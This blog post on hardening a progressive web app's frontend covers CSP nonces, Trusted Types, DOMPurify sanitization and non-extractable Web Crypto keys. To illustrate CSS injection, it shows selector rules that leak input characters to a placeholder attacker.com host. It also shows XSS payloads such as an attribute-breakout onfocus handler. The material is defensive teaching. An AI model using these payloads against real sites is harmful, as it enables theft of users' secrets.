June 11, 2026
Secure Client-Side Architecture Series — Part 3
Part 3: Hardening the PWA Runtime
Tech with Arian
11 min read
Part 3: Hardening the PWA Runtime
In Part 1, we looked at the browser environment and faced a harsh reality: it is not a safe place to store sensitive data. Writing plain text secrets to localStorage, sessionStorage, or IndexedDB leaves them open to Cross-Site Scripting (XSS) script theft and local disk-scraping malware (Infostealers).
In Part 2, we introduced our first major shield: the Backend-for-Frontend (BFF) pattern. By moving our core login tokens (Access and Refresh JWTs) completely out of the browser's JavaScript and locking them safely on a server, we made sure the client could never touch them. We tied the user's session to the browser using ultra-hardened cookies and added an in-memory Anti-CSRF token check to stop attackers from hijacking sibling subdomains.
However, our architecture is only as strong as its weakest link. Even if an attacker cannot steal a login token from your app, a broken JavaScript environment still gives them power. If they can run malicious code in your browser, they can change the look of the website, log what the user types, alter form fields, or trick the browser into sending requests on the user's behalf using your active cookies.
To max out our security, we have to lock down the frontend itself. In this part, we will explore how to restrict the browser engine using advanced Content Security Policies (CSPs), stop injection attacks, and protect local data using keys that JavaScript can never read.
1. Advanced Content Security Policy (CSP)
A Content Security Policy (CSP) is a set of rules sent by the server that tells the browser exactly what scripts, styles, and images it is allowed to load and run.
In the past, developers made a list of trusted websites (like script-src 'self' <https://apis.google.com>). For modern web apps, this approach does not cover everything. Modern apps use too many third-party tools. If an attacker finds a way to redirect a link or trick an old script on one of those "trusted" sites, they can bypass your entire security system and run their own code. To fix this, we must stop trusting where code comes from and start verifying what the code actually is.
Layer 1: Hardening the Basics (The Essential Baselines)
A best-practice CSP must lock down common browser weaknesses to prevent data leaks, clickjacking, and protocol downgrades:
- Restricting Form Destinations (
form-action): Attackers often execute HTML injections to place a malicious<form>element on top of your app. If a user tries to type their password or credit card into it, the form submits that data directly to the hacker's endpoint. Settingform-action 'self'guarantees that forms can only submit data right back to your backend. - Preventing Clickjacking (
frame-ancestors): Clickjacking occurs when an attacker hides your legitimate website inside an invisible<iframe>on their own malicious site. They trick users into clicking links on the malicious site that actually trigger buttons inside your app underneath. Settingframe-ancestors 'none'commands the browser to never allow your app to be embedded inside an iframe anywhere else. - Locking Down Core Connections (
connect-src): This controls exactly where your app can send backend data viafetch,Axios, or WebSockets. By locking this down to your API endpoints, you ensure that even if a malicious script somehow executes, it is blocked from sending stolen data to an unknown, external hacker server. - Enforcing Secure Protocols (
upgrade-insecure-requests): This directive instructs the browser to automatically upgrade any accidental legacy HTTP links or asset paths to secure, encrypted HTTPS requests before communicating over the wire.
Layer 2: Nonce-Based Script Verification
A nonce is a random, secret string of characters created by your server for every single unique page load.
Instead of trusting an entire website, your CSP rule tells the browser: "Only run script tags that have this exact, secret random code attached to them."
When a user visits your app, the server makes a fresh, unique nonce string and adds it to the response header:
Content-Security-Policy: script-src 'nonce-EDN181En2113' 'strict-dynamic';Content-Security-Policy: script-src 'nonce-EDN181En2113' 'strict-dynamic';The browser will now instantly block any script from running unless it matches that exact nonce:
<script nonce="EDN181En2113" src="/dist/main.bundle.js"></script>
<script>alert('Hacked!');</script><script nonce="EDN181En2113" src="/dist/main.bundle.js"></script>
<script>alert('Hacked!');</script>How it Stays Fast (Edge Optimization)
A common worry is that creating a new random code for every single user request will slow down the application. We solve this by splitting your massive web app files from the tiny shell file (index.html).
Your main application code remains completely static, untouched by the server, and cached globally on Content Delivery Networks (CDNs) so it loads instantly. The only file that gets modified on the fly is the entry point index.html file, which is usually very small.
When a user opens your website, a fast, lightweight script running right at the network's edge (like a Cloudflare Worker or AWS CloudFront Function) intercepts the request. It grabs the static index.html file, generates a fresh random nonce, and uses a super-fast text replacer to swap the nonce into the HTML tags and the CSP header in microseconds before streaming it to the user.
The strict-dynamic Rule
Modern web apps constantly load small pieces of code (code-split chunks) dynamically as the user clicks around. It is impossible for the server to know the names or nonces of these future pieces of code ahead of time.
To fix this, we add strict-dynamic to our CSP rule. This tells the browser: "If a root script has already been trusted using a valid nonce, we trust that script to load its own smaller helper scripts dynamically without needing new nonces for them."
Layer 3: Safe Object Enforcement (Trusted Types)
Even with nonces, an app can still be vulnerable if its own trusted code accidentally takes a raw, messy string of user input and drops it directly into a dangerous HTML sink like element.innerHTML. This is called DOM-based XSS.
To eliminate this human error completely, we use Trusted Types. By adding require-trusted-types-for 'script'; to your CSP header, you tell the browser to change its default rules: it will completely refuse to accept raw text strings for dangerous layout endpoints. However, you should be aware that support is mostly Chromium-based.
// With Trusted Types turned on, this causes an immediate application crash:
element.innerHTML = user_input_string;// With Trusted Types turned on, this causes an immediate application crash:
element.innerHTML = user_input_string;Even if the text is completely harmless (like "Hello World"), the browser rejects it because it is just a plain text string. To make the browser accept it, the code must present a special, secure object called a TrustedHTML object.
Developers set up a single, locked-down policy when the app starts up to create these objects:
// Set up our secure app policy
const spaSanitizerPolicy = trustedTypes.createPolicy('spaSanitizer', {
createHTML: (rawText) => {
// Run the text through a cleanup tool that strips out bad tags
return DOMPurify.sanitize(rawText);
}
});
// Use the policy to turn our plain text into a secure TrustedHTML object
const secureObject = spaSanitizerPolicy.createHTML(user_input_string);
// The browser happily accepts this object because it knows it was cleaned safely
element.innerHTML = secureObject;// Set up our secure app policy
const spaSanitizerPolicy = trustedTypes.createPolicy('spaSanitizer', {
createHTML: (rawText) => {
// Run the text through a cleanup tool that strips out bad tags
return DOMPurify.sanitize(rawText);
}
});
// Use the policy to turn our plain text into a secure TrustedHTML object
const secureObject = spaSanitizerPolicy.createHTML(user_input_string);
// The browser happily accepts this object because it knows it was cleaned safely
element.innerHTML = secureObject;The Production Blueprint: Best-Practice CSP Directives
When deploying a modern Single Page Application protected by a Backend-for-Frontend proxy, this is a good baseline CSP header configuration you can use:
Content-Security-Policy:
default-src 'none';
script-src 'nonce-CRYPTOGRAPHIC_GENERATED_VALUE' 'strict-dynamic' 'https:' 'unsafe-inline';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' <https://api.yourdomain.com>;
font-src 'self';
frame-ancestors 'none';
form-action 'self';
require-trusted-types-for 'script';
trusted-types spaSanitizer default;
upgrade-insecure-requests;
block-all-mixed-content;Content-Security-Policy:
default-src 'none';
script-src 'nonce-CRYPTOGRAPHIC_GENERATED_VALUE' 'strict-dynamic' 'https:' 'unsafe-inline';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' <https://api.yourdomain.com>;
font-src 'self';
frame-ancestors 'none';
form-action 'self';
require-trusted-types-for 'script';
trusted-types spaSanitizer default;
upgrade-insecure-requests;
block-all-mixed-content;Why This Configuration Works:
default-src 'none': The ultimate fallback rule. If a specific resource type (like a plugin or an embedded object) isn't explicitly defined later in the header, the browser blocks it completely by default.script-src 'nonce-...' 'strict-dynamic' 'https:' 'unsafe-inline': This layout provides backward compatibility. Modern browsers see thenonceandstrict-dynamicand immediately ignore the wide-open'https:'and'unsafe-inline'fallbacks. Older legacy browsers that don't understand modern nonces will gracefully drop back to the fallback rules so the application still loads for them. These fallback directives exist only for legacy browser compatibility and should be removed whenever legacy support is not required.style-src 'self' 'unsafe-inline': Allows your local styles to load. While'unsafe-inline'is usually a risk; it is required by many modern JavaScript frameworks for dynamic component style injections. We mitigate the risks of inline styling through the context-aware component cleaning detailed in the next section.trusted-types spaSanitizer default: Explicitly locks down the application runtime to use only your named, vetted sanitation policies (spaSanitizeror a built-in frameworkdefaultpolicy), preventing attackers from creating their own fake policies to pass malicious code to the browser engine.
2. Fighting Back Against Client-Side Injection Attacks
The Modern Framework Shield
The good news is that modern frontend tools (like React, Vue, and Angular) are secure by default against simple XSS. When you display data using standard template brackets, like {user_input} in React, the framework automatically converts that data into a harmless text node:
// Safe by default. The browser prints the exact characters without running code.
<div>{user_input}</div>// Safe by default. The browser prints the exact characters without running code.
<div>{user_input}</div>The framework treats the input strictly as plain text, never as executable code. If a hacker tries to pass <script>alert('hacked')</script>, the user will just literally see those characters printed safely on their screen.
The danger happens when developers deliberately bypass these built-in framework protections to render things like rich-text blog comments, markdown layouts, or custom user formatting:
// React Escape Hatch: Forces raw text directly into the HTML layout
<div dangerouslySetInnerHTML={{ __html: user_input_string }} />
// Vue Escape Hatch: Skips the safe text compiler completely
<div v-html="user_input_string" />// React Escape Hatch: Forces raw text directly into the HTML layout
<div dangerouslySetInnerHTML={{ __html: user_input_string }} />
// Vue Escape Hatch: Skips the safe text compiler completely
<div v-html="user_input_string" />If a developer drops raw user input into these slots without cleaning it up first, they open a massive backdoor into the application runtime.
The Solution: Structural Cleaning with DOMPurify
When your application absolutely must render rich HTML layouts, you cannot rely on plain-text escaping. Instead, you must use a sanitization library like DOMPurify.
DOMPurify takes a messy string containing HTML tags, parses it behind the scenes, and strips out every single dangerous element (like <script>, onload handlers, onerror alerts, and malicious iframe links) while keeping safe formatting tags (like <b>, <i>, or <p>) intact.
Direct Code Implementation
Instead of dropping raw user strings into your framework's escape hatches, wrap the input inside a dedicated sanitization function:
import DOMPurify from 'dompurify';
function SecureRichText({ user_input_string }){
// 1. Clean the messy input string completely
const cleanHtml = DOMPurify.sanitize(user_input_string);
// 2. Safely feed the clean HTML to the framework's layout engine
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}import DOMPurify from 'dompurify';
function SecureRichText({ user_input_string }){
// 1. Clean the messy input string completely
const cleanHtml = DOMPurify.sanitize(user_input_string);
// 2. Safely feed the clean HTML to the framework's layout engine
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}Context-Aware Encoding: Escaping Data Based on Location
DOMPurify is perfect for HTML layouts, but user data often gets dropped into other areas of a web page. To prevent XSS entirely, you must use Context-Aware Encoding. This means you convert dangerous special characters into harmless codes based exactly on where the data is placed.
1. HTML Element Context
- Location: Inside standard tags (
<div>...</div>,<p>...</p>). - The Rule: Convert characters like < and > into their harmless entity equivalents (
<and>). This ensures the browser reads them as text symbols, not structural code commands.
2. Attribute Context
- Location: Inside HTML attributes (
<input value="USER_DATA">,<a href="USER_DATA">). - The Rule: If an attacker passes
" onfocus="alert(1), they can break out of the quote and create a new malicious event handler. To prevent this, convert all non-alphanumeric characters into HTML attribute entities ("for quotes) and enforce strict, double-quoted boundaries around the attribute values.
3. JavaScript Context
- Location: Dropping server data directly into inline script blocks (
<script>let userId = 'USER_DATA';</script>). - The Rule: Escaping with HTML entities does not work inside a JavaScript block. You must use Unicode hex escaping (like replacing a quote with
\\x27or\\u0027) to guarantee the data string cannot break out of its variable container to execute new functions.
Neutralizing Hidden Styling Anomalies (CSS Injection)
Security is not just about stopping malicious JavaScript (<script>). Attackers can also use CSS styles to steal data without writing a single line of script code. If your application lets a user inject raw styles (<style> tags or unescaped CSS rules), an attacker can use normal browser styling tricks to read what is written on the screen.
CSS injection can leak certain DOM state and user-controlled values under specific conditions and should be treated as a serious security issue.
Imagine a private input box on a page that holds a user's sensitive verification token. An attacker can inject a smart CSS rule that checks the input value character-by-character:
/* If the input text starts with the letter 'a', load a background image from the attacker's server */
input[value^="a"] {
background: url(<https://attacker.com/leak?char=a>);
}
/* If the input text starts with the letter 'b', trigger a network load instead */
input[value^="b"] {
background: url(<https://attacker.com/leak?char=b>);
}/* If the input text starts with the letter 'a', load a background image from the attacker's server */
input[value^="a"] {
background: url(<https://attacker.com/leak?char=a>);
}
/* If the input text starts with the letter 'b', trigger a network load instead */
input[value^="b"] {
background: url(<https://attacker.com/leak?char=b>);
}Because browsers evaluate styling rules automatically in real time, the exact moment the verification code populates, the matching rule triggers. The browser attempts to load that background image, secretly sending the character straight to the attacker's server.
Mitigating the Style Vector
To stop CSS injection attacks, implement two defensive boundaries:
- Enforce Input Separation: Never allow raw, unfiltered user strings to be concatenated inside a
<style>block or dynamic componentstyleattribute. - Configure DOMPurify for CSS: By default, DOMPurify strips out
<style>elements entirely. Keep this default configuration active. If your application absolutely requires custom user-controlled styling (like letting a user pick a custom profile theme color), force the input through strict, programmatic alphanumeric validation blocks (allowing only simple hexadecimal strings like#FFFFFFor valid CSS color strings likered) before rendering it to the DOM layout tree.
3. Securing Local Data: Non-Extractable Crypto Keys
While our server-side BFF proxy keeps our main login tokens safe away from the client, modern web apps often need to store other operational data locally. For example, a banking or medical application might need to cache account lists or offline data queues inside IndexedDB so the app works smoothly when the internet drops.
If a hacker manages to run code inside your app, they can easily sweep through a normal IndexedDB database and steal everything. To stop this without making the database completely unusable, we use the browser's built-in Web Crypto API.
Keys JavaScript Can Use But Never See
The Web Crypto API (window.crypto.subtle) lets your app encrypt data directly using the browser's internal engine. Its secret weapon is the ability to generate non-extractable keys.
When we tell the browser to create an encryption key, we turn off its "export" switch by setting extractable to false:
// Generate an encryption key inside the browser binary
window.crypto.subtle.generateKey(
{
name: "AES-GCM",
length: 256
},
false, // CRITICAL: This says extractable = FALSE
["encrypt", "decrypt"]
).then((secretKey) => {
// Save the key reference safely inside IndexedDB
const transaction = db.transaction(["KeyStore"], "readwrite");
transaction.objectStore("KeyStore").put({ id: "app_key", key: secretKey });
});// Generate an encryption key inside the browser binary
window.crypto.subtle.generateKey(
{
name: "AES-GCM",
length: 256
},
false, // CRITICAL: This says extractable = FALSE
["encrypt", "decrypt"]
).then((secretKey) => {
// Save the key reference safely inside IndexedDB
const transaction = db.transaction(["KeyStore"], "readwrite");
transaction.objectStore("KeyStore").put({ id: "app_key", key: secretKey });
});By setting this to false, you tell the browser: "Keep the actual, raw key bytes locked inside your internal binary engine. Do not let JavaScript read it."
Shrinking the Attack Area
Once that key object is stored, your frontend application can point to it to encrypt data, but no one can print, view, or export the raw key strings.
// The application encrypts data safely using the locked key reference:
window.crypto.subtle.encrypt(
{ name: "AES-GCM", iv: myIvVector },
secretKey, // We use the key reference, but we can't see the raw key bytes
new TextEncoder().encode(my_sensitive_data)
).then((ciphertext) => {
// Save the encrypted, scrambled text to IndexedDB
indexedDBStore.put({ id: "cached_data", data: ciphertext });
});// The application encrypts data safely using the locked key reference:
window.crypto.subtle.encrypt(
{ name: "AES-GCM", iv: myIvVector },
secretKey, // We use the key reference, but we can't see the raw key bytes
new TextEncoder().encode(my_sensitive_data)
).then((ciphertext) => {
// Save the encrypted, scrambled text to IndexedDB
indexedDBStore.put({ id: "cached_data", data: ciphertext });
});This drastically limits how much damage a hacker can do. If an attacker manages to run code inside your app, they can still decrypt and read the data locally on that single browser instance while the app is open.
However, because the key is completely non-extractable, the attacker cannot copy, steal, or download the root encryption key to their own external servers. They cannot take your database home to break it open later. This buys us time to detect the unusual activity and kill the user's backend session from the server before a total data breach occurs.
Conclusion: The Complete Secure Frontend Blueprint
Building a secure frontend application requires layering different defenses on top of each other. By mixing the tools from this three-part series, we turn a vulnerable browser app into a highly resilient ecosystem:
- Part 1 Focus: We stop trusting the browser blindly. We accept that storing plain text tokens or sensitive data in standard web storage is an unsafe practice.
- Part 2 Protection: We pull our main identity tokens out of the browser completely using the Backend-for-Frontend (BFF) Pattern. We lock our user sessions behind browser-verified
__Host-cookies and custom, in-memory anti-CSRF request headers. - Part 3 Containment: We complete our secure fortress using request-bound Nonces, force type-safety rules via Trusted Types, stop injection attacks using proper sanitization, and defend our offline databases using Non-Extractable Crypto Keys.
Series Wrap-Up & What's Next
This three-part blueprint covers the foundational pillars necessary to fortify modern Single Page Applications and Progressive Web Apps against the vast majority of real-world threats.
The web landscape is constantly evolving, and down the road, we might expand this series into even more advanced frontiers — such as diving into Inbound Security Headers (Network Isolation via Cross-Origin Policies), implementing Biometric WebAuthn (Passkeys) directly on the client, Supply Chain Attacks, or exploring Service Worker Security.
But for now, implementing the BFF pattern, a strict nonce-based CSP, and hardware-bound crypto gives you a massive defensive advantage that places your web applications in the top tier of modern security engineering.
Thank you for following along with this series!